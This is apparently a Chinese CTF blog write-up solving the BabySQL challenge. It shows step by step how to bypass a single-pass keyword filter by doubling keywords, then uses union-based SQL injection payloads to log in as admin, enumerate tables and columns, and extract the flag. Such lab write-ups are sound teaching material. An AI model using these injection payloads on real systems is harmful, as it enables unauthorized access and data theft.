[极客大挑战 2019]BabySQL 1

测试是否有单引号注入

用户名:1'
密码:password

回显:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'passwd'' at line 1

通过回显我们可以发现password变成了passwd,所以后台应该对or有过滤

经过测试,select、union、and、from也被过滤掉了,但是堆叠注入还是可以使用

尝试绕过

鬼使神差地从密码栏输入:

passwoorrd

回显:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'password'' at line 1

观察到or正常注入了,推测后台的过滤只针对or进行了一遍,我们写oorr即可绕过(把第2、3个字符过滤,剩下的仍然可以组成or)

输入:

1' oorr 1=1#

回显:

Hello admin!
Your password is '4dc104bbf01f06dcc64154125d9b14fa'

也就是说,id为1的用户名为admin,密码为我们得到的这一串字符

测试回显字段

输入:

1' uniounionn selecselectt 1,2,3#

远离仍然是让后台过滤掉中间的词从而绕过

回显:

Hello 2!
Your password is '3'

2、3字段是可以利用的

测试数据库

1' uniounionn selecselectt 1,2,database()#

回显:

Hello 2!
Your password is 'geek'

测试表

输入:

1' uniounionn selecselectt 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema=database()#

注意对:or、from、union、select、where的双写处理

回显:

Hello 2!
Your password is 'b4bsql,geekuser'

得到表名:b4bsql,geekuser

测试字段

1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_schema=database()#

回显:

Hello 2!
Your password is 'id,username,password,id,username,password'

不知道为啥出现了六个字段

对geekuser表:

1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='geekuser'#

对b4bsql表:

1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='b4bsql'#

回显均为:

Hello 2!
Your password is 'id,username,password'

这就解释了上面第一次的代码为什么回显了三次

‘id,username,password’

查表拿flag

1' uniounionn selecselectt 1,2,passwoorrd frofromm b4bsql#

回显:

Hello 2!
Your password is 'i_want_to_play_2077'

其实这里已经拿到flag了,只是后台限制了回显长度,下面是改进后的payload:

1' uniounionn selecselectt 1,2,group_concat(passwoorrd) frofromm b4bsql#

以后要注意这个问题

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值